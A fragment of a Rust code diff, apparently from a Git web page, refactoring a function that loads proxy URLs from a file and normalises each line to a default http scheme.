|
||||
// User specified a scheme, keep as is (but restore original case if you want).
|
||||
line.to_string()
|
||||
} else {
|
||||
// Default to HTTP if no scheme is provided
|
||||
format!("http://{}", line)
|
||||
}
|
||||
}
|
||||
|
||||
/// Load proxies from a file, returning lines like:
|
||||
/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
|
||||
/// Load proxies from a file, returning normalized proxy URLs (unchanged)
|
||||
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
|
||||
let file = fs::File::open(filename)?;
|
||||
let reader = BufReader::new(file);
|
||||
@@ -141,8 +157,7 @@ pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
|
||||
for line in reader.lines() {
|
||||
let line = line?.trim().to_string();
|
||||
if !line.is_empty() {
|
||||
let parsed = parse_proxy_line(&line);
|
||||
proxies.push(parsed);
|
||||
proxies.push(parse_proxy_line(&line));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user